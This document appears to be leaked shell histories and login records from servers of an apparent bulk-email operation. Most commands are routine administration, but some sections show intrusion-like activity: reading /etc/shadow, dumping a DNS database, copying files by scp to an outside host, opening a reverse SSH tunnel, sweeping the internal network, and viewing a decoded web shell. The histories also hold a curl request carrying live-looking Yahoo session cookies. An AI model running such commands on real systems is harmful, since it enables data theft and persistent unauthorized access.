admin pts/1 :1 Fri Oct 21 09:45 - 07:18 (41+22:33)
admin pts/0 :1 Fri Oct 21 09:44 - 07:43 (41+22:59)
admin pts/0 66.165.231.123 Tue Oct 11 12:54 - 10:38 (21:43)
admin pts/0 :1 Tue Oct 11 12:09 - 12:10 (00:00)
(unknown :0 :0 Tue Oct 11 12:09 - 07:43 (51+20:34)
reboot system boot 3.10.0-327.36.1. Tue Oct 11 12:08 - 07:43 (51+20:34)

```

```

admin pts/0    66.165.231.121 Tue Oct 11 11:53 - 12:07 (00:13)
(unknown :0    :0          Tue Oct 11 11:46 - 12:07 (00:21)
reboot system boot 3.10.0-327.36.1. Tue Oct 11 11:45 - 12:07 (00:21)
root pts/0    66.165.231.121 Tue Oct 11 11:06 - down (00:02)
(unknown :0    :0          Tue Oct 11 11:02 - 11:08 (00:06)
reboot system boot 3.10.0-327.36.1. Tue Oct 11 12:24 - 11:08 (-1:-15)
admin :0      :0          Tue Oct 11 12:08 - 12:23 (00:14)
(unknown :0    :0          Tue Oct 11 12:07 - 12:08 (00:00)
root pts/0    66.165.231.121 Tue Oct 11 11:50 - crash (00:33)
reboot system boot 3.10.0-327.el7.x Tue Oct 11 11:44 - 11:08 (00:-35)

```

66.165.231.80

```

880 scp -Cr ./* john@54.67.124.187:/mnt/tmp/xr/
881 exit
882 cd /
883 cd /root
884 ls -la
885 cat ./commands.txt
886 cat ./my.cnf
887 ls -la
888 cat ./bash_history
889 cd /home
890 ls
891 cd xr
892 ls -la
893 cd for-tony
894 ls
895 ls -la
896 cat mxleads-hurricane-dicksmasher.php
897 cd ..
898 ls
899 scp -Cr ./* john@54.67.124.187:/mnt/tmp/xr/
900 sudo su
901 scp -Cr ./* john@54.67.124.187:/mnt/tmp/xr/
902 ls
903 cd ..
904 ls
905 cd ..
906 ls
907 cd vroot
908 ls
909 cd ..
910 cd tmp
911 ls
912 cd ..
913 cd var
914 ls
915 cd ..
916 mysql -uroot -p
917 cd tmp
918 mysql -uroot -p
919 mysqldump -uroot -p pdns > ./pdns.sql
920 ls

```

```
921 ls -la
922 head -50 ./pdns.sql
923 cat ./pdns.sql
924 rm ./pdns.sql
925 ls
926 cd ..
927 ls
928 cd var
929 ls
930 cd tmp
931 ls
932 cd ..
933 cd opt
934 ls
935 cd ..
936 cd ..
937 ls
938 cd sbin
939 ls
940 cd /lib
941 ls
942 cd ..
943 ls
944 cd usr
945 ls
946 cd lib
947 ls
948 cd /
949 ls
950 cd home
951 cd xr
952 ls -la
953 cd ..
954 ls
955 cd ..
956 ls
957 cd lib64
958 ls
959 cd ..
960 ls
961 cd opt
962 ls
963 cd ..
964 cd mnt
965 ls
966 cd ..
967 cd root
968 ls
969 cd ..
970 ls
971 cd var
972 cd logs
973 ls
```



```
974 cd log
975 ls
976 head -25 ./secure
977 cd squid
978 ls
979 cat -25 ./access.log
980 head -25 ./access.log
981 ls -l
982 head -25 ./cache.log
983 cd /etc
984 ls
985 cat ./hostname
986 cat ./shadow
987 cd pdns
988 ls
989 cat ./pdns.conf
990 ls
991 ls -l
992 cat ./pdns_mysql.sql
993 scp -C ./ * john@54.67.124.187:/mnt/tmp/pdns/
994 ls
995 cd ..
996 ls
997 cat ./lftp.conf
998 exit
999 hisotry
1000 exit
1001 history
```

66.165.231.67

```
727 ssh -N -T -R 22222:127.0.0.1:22 root@104.200.154.101
```

```
1 yum update -y
2 echo 'admin ALL=(ALL) NOPASSWD: ALL' >> /etc/sudoers
3 useradd admin
4 passwd admin
5 vi /etc/ssh/sshd_config
6 service sshd reload
7 firewall-cmd --permanent --remove-service=dhcpv6-client
8 firewall-cmd --permanent --add-service=ssh
9 firewall-cmd --permanent --add-port=10050/tcp
10 systemctl reload firewalld
11 echo 'root: tech@rivercitymediaonline.com' >> /etc/aliases
12 newaliases
13 sed -i 's/enforcing$/permissive/' /etc/selinux/config
14 setenforce 0
15 yum install epel-release
16 rpm --import http://apt.sw.be/RPM-GPG-KEY.dag.txt
17 rpm -ivh http://pkgs.repoforge.org/rpmforge-release/rpmforge-release-0.5.3-1.el7.rf.x86_64.rpm
18 yum install deltarpm
19 for i in /etc/pki/rpm-gpg/RPM-GPG-KEY-*; do rpm --import $i; done
20 yum clean all
21 yum update
```

```
22 yum install rsync mlocate ntpdate gcc-c++ patch readline-devel zlib-devel libyaml-devel libffi-devel openssl-devel make
autoconf automake libtool bison perl-DBI perl-DBD-MySQL perl-Digest-SHA perl-ExtUtils-ParseXS perl-devel perl-CPAN rsyslog
lftp telnet zabbix20-agent cronie denyhosts unix2dos dos2unix man psutils yum-cron bc
23 systemctl start denyhosts
24 systemctl enable denyhosts
25 updatedb
26 vi /etc/rsyslog.conf
27 service rsyslog restart
28 vi /etc/ntp.conf
29 systemctl enable ntpdate
30 systemctl start ntpdate
31 systemctl enable crond
32 systemctl start crond
33 reboot
34 yum update -y
35 df -H
36 free -g
37 exit
38 df -H
39 history
40 vi /etc/hostname
41 vi /etc/zabbix_agentd.conf
42 systemctl enable zabbix-agent
43 systemctl start zabbix-agent
44 yum groupinstall "Server with GUI"
45 systemctl set-default graphical.target
46 systemctl start graphical.target
47 yum install -y tigervnc-server
48 cp /lib/systemd/system/vncserver@.service /etc/systemd/system/vncserver@:1.service
49 vi /etc/systemd/system/vncserver@:1.service
50 firewall-cmd --permanent --zone=public --add-service vnc-server
51 firewall-cmd --reload
52 su - admin
53 systemctl daemon-reload
54 systemctl enable vncserver@:1.service
55 systemctl start vncserver@:1.service
56 cd /etc/yum.repos.d
57 wget http://download.virtualbox.org/virtualbox/rpm/rhel/virtualbox.repo
58 yum --enablerepo rpmsforge install dkms
59 yum groupinstall "Development Tools"
60 yum install kernel-devel
61 yum install VirtualBox-5.0
62 usermod -a -G vboxusers admin
63 yum update -y
64 reboot
65 vi /etc/sysconfig/network-scripts/ifcfg-eno1
66 reboot
67 mkdir /images
68 chown admin:admin /images
69 ls -ll /images/
70 ls -ll /images
71 cd /images/
72 ls
```

```
73 ls -ll
74 exit
75 exit
76 service deny.hosts status
77 history
78 service deny.hosts start
79 systemctl enable deny.hosts
80 systemctl enable denyhosts
81 systemctl start denyhosts
82 yum clean all
83 yum update
84 cd /etc/yum.repos.d/
85 ls
86 cat CentOS-Base.repo
87 ls
88 cat CentOS-CR.repo
89 ls
90 cat CentOS-Debuginfo.repo
91 cat CentOS-fasttrack.repo
92 cat CentOS-Sources.repo
93 cat CentOS-Vault.repo
94 cd
95 cat /etc/resolv.conf
96 exit
97 procinfo
98 /proc/cpuinfo
99 less /proc/cpuinfo
100 !
101 cat /proc/cpuinfo | grep 'core id'
102 cat /proc/meminfo
103 free -g
104 dmesg | grep mem
105 dmesg | grep Kingston
106 dmesg | grep G
107 dmesg | grep ram
108 dmesg | grep -i memory
109 dmesg | grep -i kingston
110 dmesg | grep -i micron
111 dmesg | grep -i crucial
112 dmesg | grep -i asus
113 dmesg | grep -i super
114 dmesg | grep -i mhz
115 dmesg | grep -i ddr
116 dmesg | grep -i ddr3
117 dmesg | grep -i non
118 dmesg | grep -i ecc
119 uptime
120 fdisk -l
121 df -H
122 du -sh /images/
123 df -h
124 yum install mdadm
125 mdadm -E /dev/sd[b-c]
```

```
126 mdadm --zero-superblock /dev/sdb
127 ls /dev
128 mdadm --zero-superblock /dev/sdb1
129 fdisk -l /dev/sdb
130 fdisk -l /dev/sdc
131 mdadm -E /dev/sd[b-c]
132 fdisk /dev/sdb
133 fdisk /dev/sdc
134 mdadm -E /dev/sd[b-c]
135 mdadm --create /dev/md0 --level=mirror --raid-devices=2 /dev/sd[b-c]1
136 cat /proc/mdstat
137 mdadm -E /dev/sd[b-c]1
138 mdadm --detail /dev/md0
139 mkfs.ext4 /dev/md0
140 ls /
141 ls /mnt/
142 mkdir /mnt/raid1
143 mount /dev/md0 /mnt/raid1/
144 df -h
145 touch /mnt/raid1/somefile
146 cat > /mnt/raid1/somefile
147 cat /mnt/raid1/somefile
148 rm /mnt/raid1/somefile
149 ll /mnt/raid1/somefile
150 ll /mnt/raid1/
151 cat /proc/mdstat
152 vim /etc/fstab
153 mount -av
154 mdadm --detail --scan --verbose >> /etc/mdadm.conf
155 cat /etc/mdadm.conf
156 mdadm --detail /dev/md0
157 mkdir /mnt/raid1/images
158 chown -R admin: /mnt/raid1/images
159 ll /mnt/raid1/images
160 ll /mnt/raid1/
161 ll /images/
162 mv /images/LiveFeed /mnt/raid1/images/
163 ls /images/
164 ls /mnt/raid1/images/
165 ll /mnt/raid1/images/
166 rmdir /images/
167 ln -s /mnt/raid1/images/ /images
168 ll
169 ll /
170 chown --help
171 chown -h admin: /images/
172 ll
173 ll /
174 cd /images
175 ll
176 df -h
177 uname -m
178 exit
```

```
179 tail /var/log/messages
180 vim /var/log/messages
181 setenforce 0
182 cd /var/log
183 ls
184 df -h
185 /home/admin/bin/dropbox.py status
186 ps fax
187 service dropbox status
188 service dropbox stop
189 service dropbox status
190 exit
191 service dropbox start
192 ps fax
193 exit
194 tail /var/log/audit/audit.log
195 tail -F /var/log/messages
196 grep zabbix_agentd /var/log/audit/audit.log | audit2allow -M mypol
197 semodule -i mypol.pp
198 tail -F /var/log/messages
199 exit
200 service tiger-vnc status
201 firewall-cmd --permanent --zone=public --add-service vnc-server
202 firewall-cmd --reload
203 systemctl enable vncserver@:1.service
204 systemctl start vncserver@:1.service
205 systemctl set-default graphical.target
206 reboot
207 vi /etc/rsyncd.conf
208 mount
209 df -h
210 vi /etc/rsyncd.conf
211 systemctl restart rsyncd
212 tail /var/log/messages
213 firewall-cmd --list-all
214 firewall-cmd --permanent --add-service=rsyncd
215 firewall-cmd --reload
216 firewall-cmd --list-all
217 cd /home/admin
218 ls
219 cd Dropbox/
220 ls
221 ls -l
222 ls
223 pwd
224 cd campaigns/
225 cd phprefer
226 ls
227 cd scripts
228 ls
229 ls -l
230 cat rsync_campaigns.rb
231 df -h
```

```
232 ls /mnt/raid1
233 tail /var/log/messages
234 getenforce
235 tail /var/log/messages
236 restorecon -v '.dropbox'
237 restorecon -v /home/admin/Dropbox/.dropbox
238 tail -f /var/log/messages
239 cat /etc/selinux/config
240 cd /etc/sysconfig/network-scripts/-s
241 cd /etc/sysconfig/network-scripts/
242 ls
243 cat ifcfg-eno2
244 ping 10.16.32.1
245 vi ifcfg-eno2
246 service network restart
247 ping 10.16.32.1
248 exit
249 grep rsync /var/log/audit/audit.log | audit2allow -M mypol
250 ls
251 semodule -i mypol.pp
252 ip addr
253 cd /images/Internal-FTP/
254 ls
255 exit
256 systemctl enable rsyncd
257 systemctl start rsyncd
258 rsync -av --delete /mnt/raid1/External_FTP/ "10.16.32.239::backups/Dropbox/External_FTP" --dry-run
259 ip addr
260 nmtui
261 ip up eno2
262 ip link eno2
263 ip link eno2
264 ip addr
265 ip link set eno2 up
266 ip addr
267 dmesg
268 tail /var/log/messages
269 date
270 tail /var/log/messages
271 ip addr
272 ping 10.16.32.66
273 rsync -av --delete /mnt/raid1/External_FTP/ "10.16.32.239::backups/Dropbox/External_FTP" --dry-run
274 rsync -av --delete /home/admin/Dropbox/ "10.16.32.239::backups/Dropbox/Dropbox"; rsync -av --delete
/mnt/raid1/Internal_FTP/ "10.16.32.239::backups/Dropbox/Internal_FTP" --dry-run
275 rsync -av --delete --exclude=.dropbox.cache /home/admin/Dropbox/ "10.16.32.239::backups/Dropbox/Dropbox" --dry-
run; rsync -av --delete --exclude=.dropbox.cache /mnt/raid1/Internal_FTP/ "10.16.32.239::backups/Dropbox/Internal_FTP" --dry-
276 rsync -av --delete --exclude=.dropbox.cache /home/admin/Dropbox/ "10.16.32.239::backups/Dropbox/Dropbox" --dry-
277 vi /etc/crontab
278 ls
279 cd /saved/or
280 cd /saved
281 ls
282 w
```

```
283 cd /home/admin/
284 ls
285 locate FTPRoot
286 cd Dropbox
287 cd FTPRoot
288 cd Lists
289 ls
290 ls | grep S7VS
291 for i in *S7VS*; do ls -l $i; done
292 for i in *S7VS*; do rm -rf $i; done
293 ls -l
294 pwd
295 df -h
296 cd /var/www/li
297 cd /home/admin/
298 ls
299 cd Dropbox
300 ls
301 ls -l
302 du -h campaigns
303 ls -ltr
304 rm campaigns.tgz
305 tar cvzf campaigns.tgz campaigns
306 ls -l
307 scp campaigns.tgz root@103.22.161.2:
308 ls
309 mv campaigns.tgz /home/admin
310 cd /home/admin
311 ls
312 ls -l
313 chown admin:admin campaigns.tgz
314 cd /home/admin/Dropbox/
315 ls
316 cd FTPRoot
317 ls
318 pwd
319 cd Users
320 cd ..
321 ls -l
322 cd ..
323 ls
324 ls -l
325 locate External_FTP
326 cd Dropbox
327 ls
328 ls -l
329 ls FTPRoot
330 ls
331 updatedb
332 locate External
333 cat /etc/crontab
334 cd /mnt/raid1
335 ls
```

```
336 cd External_FTP/
337 ls
338 ls -l
339 cd Users
340 cd ..
341 cd Internal_FTP/
342 cd Useres
343 cd Users
344 cd Mike
345 du -h .
346 du -h --max-depth=1 .
347 ls from.steve
348 rm -rf from.steve AOL\ New\ Data\ 10.23.12 Lifetime\ Lists Mike\ New\ Source\ Files Master\ Lists
349 ls -l
350 du -h .
351 cd /mnt/raid1
352 ls
353 cd Internal_FTP/
354 ls
355 cd Users
356 du -h Tony
357 ls
358 du -h tony
359 du -h mike
360 du -h Mike
361 cd Mike
362 ls -l
363 rm -rf C3 CyntrixWork\ FBLS Hotmail\ Opt\ In\ Compare Verify\ Gmail\ 18-Million.invalid2.* missingOPTin smsoptin t1
364 du -h .
365 ls -l
366 cat /etc/redhat-release
367 exit
368 reboot
369 cd /var/www/lig
370 locate campaigns
371 cd /home/admin/Dropbox/campaigns
372 ls
373 ls -l
374 mv rcm_index.php rcm_index.php.disabled
375 mv index.htm index.htm.disabled
376 grep init.php *
377 ls -l *.php
378 for i in *.php; do
379 vi resetcache
380 vi resetcache.php
381 ls -l
382 for a in *.php; do mv $a $a.disabled; done
383 vi /etc/crontab
384 history
385 service tiger-vnc status
386 systemctl status vncserver@1.service
387 ps fax
388 ps fax | grep xvnc
```



```
389 systemctl start vncserver@1.service
390 journalctl -xe
391 grep zabbix_agentd /var/log/audit/audit.log | audit2allow -M mypol
392 semodule -i mypol.pp
393 systemctl start vncserver@1.service
394 systemctl status vncserver@1.service
395 journalctl -xe
396 exit
397 df -h
398 cd /
399 du -h --max-depth=1 .
400 cd mnt
401 du -h .
402 df -h
403 ls
404 cd raid1/
405 ls
406 du -h --max-depth=1 .
407 ls images
408 du -h images/DB-LL-Test/
409 df -h
410 fdisk -l
411 df -H
412 exit
413 cd /var/log
414 ls -ltr
415 du -h --max-depth=1 .
416 cd ..
417 df -h
418 cd /
419 du -h --max-depth=1 .
420 df -h /home
421 cd /home
422 du -h --max-depth=1 .
423 cd admin/
424 du -h --max-depth=1 .
425 cd Dropbox
426 du -h --max-depth=1 .
427 cd FTPRoot/
428 du -h --max-depth=1 .
429 cd Lists
430 du -h --max-depth=1 .
431 cd 365days/
432 ls
433 du -h --max-depth=1 .
434 cd Cloudmark/
435 du -h --max-depth=1 .
436 cd Locations/
437 ls -ltr
438 ls -ltr | more
439 ps auxwww | grep Dropbo
440 cat /etc/crontab
441 ls
```

```
442 ls -l | more
443 cd ..
444 find . -name 20160*.zip
445 find . -name 20160[1-6].zip
446 find . -name 201601.zip
447 find . -name 20160[1-6]*.zip
448 find . -name 20160[1-6]*.zip -delete
449 df -h
450 cd ..
451 find . -name 20160[1-6]*.zip -delete
452 find . -name 20160[1-6]*.zip
453 df -h
454 df -H
455 cd /
456 ls
457 cd ~/Dropbox
458 exit
459 cd /home/admin
460 ls
461 ls -l
462 cd Dropbox
463 ls
464 ls -l
465 du -h campaign
466 du -h campaigns
467 find campaigns
468 find campaigns -type f | wc -l
469 cd /
470 ls
471 ls -l
472 ps auxwww | grep FTP
473 cd /home/admin/Dropbox/Dropbox
474 cd /home/admin
475 ls
476 cd Public
477 ls
478 cd ..
479 find . -name Internal_FTP
480 find . -name Internal
481 cd /mnt/raid1
482 ls
483 cd Internal_FTP/
484 ls
485 ls -l
486 cd Uesrs
487 cd Users
488 ls
489 du -h Alvin-OLD
490 ls -l Alvin-OLD | wc -l
491 cd Alvin-Old
492 cd Alvin-OLD/
493 find .
494 find . | more
```

```
495 find . | wc -l
496 du -h --max-depth=1 .
497 du -h --max-depth=1 . | grep G
498 ls YahooBulk
499 ls YahooBulk/
500 vi /etc/ssh/sshd_config
501 systemctl reload sshd
502 cd /home/admin/
503 ls
504 cd Dropbox/
505 ls
506 cd FTPRoot
507 ls
508 ls -l
509 cd ..
510 locate External_FTP
511 ls
512 pwd
513 locate Alvin
514 cd /mnt/raid1/Internal_FTP/
515 ls
516 cd Users
517 locate xmailer
518 locate wordlist
519 cp /home/admin/Dropbox/FTPRoot/xmailer.zip ~
520 ls
521 unzip xmailer.zip
522 cd xmailer/
523 ls
524 ls -l
525 cat wordlist.txt
526 exit
527 ls
528 cat mypol.pp
529 cat initial-setup-ks.cfg
530 ls
531 cd /home
532 ls
533 cd admin
534 ls
535 cd downloads
536 ls
537 cd Downloads
538 ls
539 cd ..
540 cd bin
541 ls
542 cd ..
543 cd Pictures
544 ls
545 cd /
546 ls
547 cd opt
```

```
548 ls
549 cd rh
550 ls
551 cd /tmp
552 ls
553 xwin --help
554 cat /home/admin/.bash_history
555 cat /root/.bash_history
556 cd /
557 ls
558 cd mnt
559 ls
560 cd raid1
561 ls
562 cd Internal_FTP
563 ls
564 cd Users
565 ls
566 ls -la
567 cat "accounts 9.2.txt"
568 ls
569 cd Alvin
570 ls
571 cd Yahoo
572 ls
573 cd ..
574 ls
575 cd Jim
576 cd ..
577 cd Jim
578 ls
579 cd Accounts
580 ls
581 cd ..
582 cd "server transer"
583 ls
584 cd ..
585 cd
586 ls
587 cd
588 cd /
589 cd
590 cd /
591 ls
592 cd opt
593 ls
594 cd /var
595 ls
596 cd opt
597 ls
598 cd ..
599 cd log
600 ls
```

```
601 cd samba
602 ls
603 cd old
604 ls
605 cd ..
606 cd pluto
607 ls
608 cd peer
609 ls
610 cd ..
611 cd sa
612 ls
613 ls -la
614 cat sa01
615 cd ..
616 ls
617 ls -la
618 head -25 maillog-20170109
619 head -100 maillog-20170109
620 ssh admin@vHost01
621 ssh admin@vHost01.localdomain
622 netstat -l
623 telnet localhost 37116
624 ping 10.16.32.75
625 ping 10.16.32.80
626 ping 10.16.32.240
627 ssh admin@10.16.32.240
628 ping 10.16.32.254
629 ping 10.16.32.250
630 ping 10.0.32.14
631 ping 10.0.0.14
632 ping 10.16.32.64
633 ping 10.16.32.90
634 ping 10.16.32.95
635 ping 10.16.32.100
636 nmap --help
637 fping
638 for i in {1..254}; do ping -c 1 10.16.32.0.$i | grep 'from'; done
639 for i in {1..254}; do ping -c 1 10.16.32.$i | grep 'from'; done
640 ssh admin@10.16.32.1
641 ssh -vvv admin@10.16.32.1
642 ssh -vvvvvvv admin@10.16.32.1
643 ssh -vvvvvvv admin@10.16.32.21
644 ssh -vvvvvvv admin@10.16.32.91
645 ssh -vvvvvvv admin@10.16.32.92
646 ssh -vvvvvvv admin@10.16.32.96
647 ssh -vvvvvvv admin@10.16.32.97
648 ssh -vvvvvvv admin@10.16.32.123
649 ssh -vvvvvvv admin@10.16.32.180
650 ssh admin@serverhub001
651 cat /etc/resolv.conf
652 ping vHost69
653 ssh admin@vHost66
```

```
654 exit
655 ls
656 cd /home/admin/.vnc
657 ls
658 cat passwd
659 cat xstartup
660 ./xstartup
661 cat ./vHost67\;1.log
662 ping 172.245.173.133:
663 ping 172.245.173.133
664 ssh -vvvv admin@172.245.173.133:
665 ssh -vvvv admin@172.245.173.133
666 ls
667 ssh admin@10.16.32.69
668 echo $DISPLAY
669 xterm
670 cat ./esd_auth
671 cd Public
672 ls
673 cd /
674 ls
675 cat /home/admin/.viminfo
676 vncviewer
677 vnc
678 tightvnc
679 cd /root
680 ls
681 cat mypol.pp
682 cat mypol.te
683 locate rhosts
684 find / -perm -4000
685 cd /dev
686 ls
687 cd mnt
688 ls
689 cd /mnt
690 ls
691 cd raid1
692 ls
693 cd ..
694 mount -o ro, /dev/sdc /mnt/2
695 mkdir 2
696 mount -o ro, /dev/sdc /mnt/2
697 mount -o ro, /dev/sdc1 /mnt/2
698 mount -o ro, /dev/sdb1 /mnt/2
699 mount -o ro, /dev/sdb /mnt/2
700 mount -o ro, /dev/sda3 /mnt/2
701 mount -o ro, /dev/sda2 /mnt/2
702 mount -o ro, /dev/sda1 /mnt/2
703 mount -o ro, /dev/sda /mnt/2
704 mount -o ro, /dev/md0 /mnt/2
705 ls
706 rm -rf ./2
```

```
707 ls
708 cd ..
709 ls
710 cd tmp
711 ls
712 cd ssh-QHxt1AziEksA/
713 ls
714 cat agent.653
715 ls
716 ls -la
717 locate vnc
718 Xvnc
719 DISPLAY=:0 /bin/bash
720 ls
721 cat ./mypol.pp
722 cd xmailer
723 ls
724 ls -la
725 cat ipsettings.xmr
726 ssh admin@104.200.154.101
727 ssh -N -T -R 22222:127.0.0.1:22 root@104.200.154.101
```

66.165.231.123

```
cat known_hosts
ssh -i "/home/tunnel/.ssh/id_rsa" tunnel@66.165.231.50
cd /root
ls
ls -la
cat ./somefile
ssh admin@66.165.231.50
ls
cd /home
ls
cd images
ls
cd /home/tunnel
ls
ls -la
cd ./ssh
ls
nautilus
exit
nautilus
tcpdump -q
who
ssh -v admin@159.118.139.12
ssh -v admin@66.165.247.21
ls -la
mysql -uroot -p
mysql -uroot
```

```
cd /etc
ls
cat ./my.cnf
cd /home/admin
ls
ls -la
cd mnt
ls
cd ..
mount -a
mount
cd Dropbox
ls
cd /root
ls -la
cd /home/admin/Dropbox
ls
ls -la
cd RVR_INTEL
ls
ls -la
head -50 mac_fuckery.txt
cat bot-guard-protection-b64.txt
cat rsa2.key
cat mac-me.txt
ls
ls -la
cd ..
ls
cd RVR_INTEL
cd ..
ls -la
cd RVR_INTEL
ls
cd ..
ls -la
cd RVR_INTEL
ls
cd Mac_Me_iCloud/
ls -la
cd ..
ls
cd ..
ls
cd mailing
ls
ls -la
cd ..
ls
cd tmp
ls
cd ..
ls
```



```
netstat -l
netstat
tcpdump
cd usr
cd /
cd usr
ls
cd local
ls
cd share
ls
cd info
ls
cd ..
cd lib
ls
cd ..
cd lib
ls
cd ..
cd etc
ls
cd ..
ls
cd src
ls
cd ..
ls
cd src
ls
cd ..
cd tmp
ls
cd ..
ls
cd /var
ls
cd local
ls
cd ..
cd www
ls
cd /
ls
cd home
ls
cd /home/admin
ls
cd src
ls
cd tunnels
ls
cd ..
```

```
cd hackershit
ls
ls -la
head -50 ./casus_shell-decoded.php
cd ..
ls
cd /usr
cd local
cd src
ls
cd /home/admin
ls
cd mnt
ls
cd ..
cd tmp
ls
la -la
ls -la
cat ips.txt
ls -la
cd ..
ls -la
cat ./mysql_history
```

curl

```
'https://smallbusiness.yahoo.com/catalogmgr/product/_module/?ysbparams=eyJhcHBpZCI6ImNhdGFsb2ctbWUyYWdlciIsImJpe
mlkljoieXMtMTQxNDE0ODMyMjY2MzM0liwiYml6dXJljoiaHR0cDovL3l3LTE0MTQxNDgzMjI2NjMzNC55YWVhbn3N0b3JlImNvbSIsI
mxhbmciOiJlbi11cyJ9&crumb=la1Y0v2rr.E&&action=get_products&sortby=update_time&sortorder=asc&rowsperpage=10&star
trow=1&endrow=-1' -H 'Pragma: no-cache' -H 'Accept-Encoding: gzip, deflate, sdch' -H 'Accept-Language: en-US,en;q=0.8' -H
'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85
Safari/537.36' -H 'Accept: */*' -H 'Referer: https://smallbusiness.yahoo.com/catalogmgr/product/?bizid=ys-
141414832266334&ysbparams=eyJhcHBpZCI6ImNhdGFsb2ctbWUyYWdlciIsImJpemlkljoieXMtMTQxNDE0ODMyMjY2MzM0liwiY
ml6dXJljoiaHR0cDovL3l3LTE0MTQxNDgzMjI2NjMzNC55YWVhbn3N0b3JlImNvbSIsImxhbmciOiJlbi11cyJ9&yid=all.fishing&appid=c
atalog-manager&bizurl=http%253A%252F%252Fys-141414832266334.yahoostore.com&lang=en-
us&timestamp=1442001878.453&signature=0b91286217608d9e3109241342630756089b4258' -H 'X-Requested-With:
XMLHttpRequest' -H 'Cookie: AO=u=1; YLS=v=1&p=1&n=1;
V=v=0.7&m=0&ccOptions=%7B%22show%22%3Afalse%2C%22lang%22%3A%22en%22%2C%22fontSize%22%3A24%2C%22font
Name%22%3A%22Helvetica%20Neue%2CHelvetica%2CArial%2C_sans%22%2C%22fontColor%22%3A%223ffffff%22%2C%22f
ontOpacity%22%3A1%2C%22fontEffect%22%3A%22none%22%2C%22bgColor%22%3A%223000000%22%2C%22bgOpacity%
22%3A0.75%7D; DSS=ts=1431018180&cnt=3&sdt=1427424544881&sdt=spigot-chr-gcmac;
AMCV_att1=MCAID%7C2AA9C9D7851D3067-4000012B201A3ACB; ucs=tr=1432222051494&fs=1;
YM=v=2&u=SuKlu5evhFLZE6vragJCSenS2XK_2EQKYe_JNQ--&d=&f=AAA&t=8h9YVB&s=j2Rw;
DK=v=2&p=OHwyMzMwFzpcnR1YWx8RGVza3RvcCBCcm93c2VyfG1hYyBvcyB4fDEwLjEw;
ywandp=1000896321451%3A4224888094; fpc=1000896321451%3AZTEq1Wub%7C%7C;
s_pers=%20s_vnum%3D1441080000741%2526vn%253D1%7C1441080000741%3B%20s_nr%3D1440460369199-
Repeat%7C1443052369199%3B%20s_invisit%3Dtrue%7C1440462169202%3B%20s_lv%3D1440460369204%7C1535068369204
%3B%20s_lv_s%3DMore%2520than%25207%2520days%7C1440462169204%3B%20gpv_v17%3Dnet%257Catt.yahoo%257Cdes
ktop%7C1440462169207%3B; tos_viewed=1; HP=0; tos_accepted=1; ypcdb=754828f019b314d467f9f3e5596c5793;
tokenid=ordering31441998634824-8449987649138792750;
U=mt=ieGMxp2MhY9nP6tlqYu_weTrpH4i3uHqcozheWlc&ux=fey8VB&un=amu33bs01s2sj; _vpx=6kVifdgn8uMn;
B=abgutrdagpf7v&b=4&d=c2Ay33NpYEJwUzhtvG0yV_cjhA_5ISko2FJbPA--&s=k1&i=I4U2pr4bFbDFP4Nvn4gg;
F=a=1qs_uzgMvSxk_G2ju88xwaC8L_aaxocyqtD0oltHRopEH11rdqhGB7JG_WQRgmLIHsWD_4Ui7WOu4VWdazazKRceXjZ33N4BP
yGSDvyhWeWDKGEKmv3xz6Um.cZCn.EB4Q0SbLI5fOttPaEzoydfpGDYNhCH71t2EZ5&b=LIM4; PH=fn=kfUKyottRVR994SR&i=us;
SSL=v=1&s=hH8gm8fnp2fl6uAQ4JntDyxHb.fmk_BDQVAuq_HQXnKL6bEHajmyAQTGpGN541jpAYWWhx9ZhFobLuXznIq0A9A--
&kv=0;
T=z=a8y8VBaQaBWBpuriVomSohsNjM1MwY2TjY1MzAzNk4x&a=YAE&sk=DAAoVzxqy/Hx8r&ks=EAAzCeB6iJy0oipGDBBLRlgqA--
~E8d-c2wBTvBP6tlqYu_weTrpH4i3uHqcozheWlc&ux=fey8VB&un=amu33bs01s2sj; _vpx=6kVifdgn8uMn;
ls -la
cd ./ssh
ls
cat authorized_keys
cd /root
ls
ls -la
cd ./ssh
ls
cd /
ls
cd /root
ls
ls -la
cat somefile
who
ls -la
cd /
ls
locate xr
cd /usr
```

```
ls
cd src
ls
cd ..
cd local
ls
cd src
ls
cd ..
cd share
ls
cd man
ls
cd /
ls
cd home
ls
cd steve
ls
cd ..
cd michelle
ls
ls -la
cd ..
ls -la
cd lost+found/
ls
ls -la
cd ..
cd images
ls
ls -la
cd /root
ls
cd /.ssh
ls
cat known_hosts
ssh admin@66.165.231.238
ssh -v admin@66.165.231.50
firefox
google-chrome
tor
cd /sbin
ls
cryptsetup
cryptsetup --usage
ssh admin@66.165.231.50
ls
./mount.ntfs-3g -a
./mount.ntfs-3g /dev/sda2 /mnt
./mount.ntfs-3g /dev/sda1 /mnt
./mount.ntfs-3g /dev/sda /mnt
./mount.ntfs-3g /dev/sr0 /mnt
```

```
ls /dev
./mount.ntfs-3g /dev/sdb /mnt
./mount.ntfs-3g /dev/sdb1 /mnt
./mount.ntfs-3g /dev/sdb2 /mnt
./mount.ntfs-3g /dev/sdb1 /mnt
fuser
fuser -c
fuser -l
fuser -c /dev/sdb1
fuser /dev/sdb1
fuser /dev/sdb2
fuser /dev/sdb
fuser -m /dev/sdb
fuser -m /dev/sdb2
fuser -m /dev/sdb1
fuser 80
fuser -v -m /dev/sdb1
fuser -v -k /dev/sdb1
./mount.ntfs-3g /dev/sdb1 /mnt
mount /dev/sdb1 /mnt
cd /mnt
ls
umount /mnt
cd ..
umount /mnt
mount /dev/sdb /mnt
mount.ntfs-3g /dev/sdb /mnt
mount.ntfs-3g /dev/sdb2 /mnt
mount /dev/sdb2 /mnt
lv
lvm
sysroot /dev/root
lvm
ls -la
cd mnt
ls
cd ..
cd /
ls
cd tmp
ls
ls -la
cat binarylogs.sql
locate xr
find xr
cd /usr
ls
cd local
ls
cd src
ls
cd ..
ls
```

```
cd etc
ls
cd sbin
ls
cd ..
cd sbin
ls
cd ..
cd ..
cd /
cryptmount
cm
cd /root
ls
cd /admin
cd /home
ls
cd admin
cat ./bash_history
ssh admin@return2school.net
cat ./bash_history
ssh admin@66.165.231.54
ssh admin@66.165.231.41
ls
cd /root
ls
ls -la
locate
proctor
ssh -v admin@c21hand.com
ssh -v admin@107.158.36.69
proctor
cd /home
ls
cd admin
ls
cd Dropbox
ls
cd bin
ls
cd ..
proctor
cd /
ls
locate proctor
cd bin
ls
cd /etc
ls
cat crypttab
cm
cmtab
ls
```

```
cd /sbin
ls
./cryptsetup
./cryptsetup --dump-master-key
ls
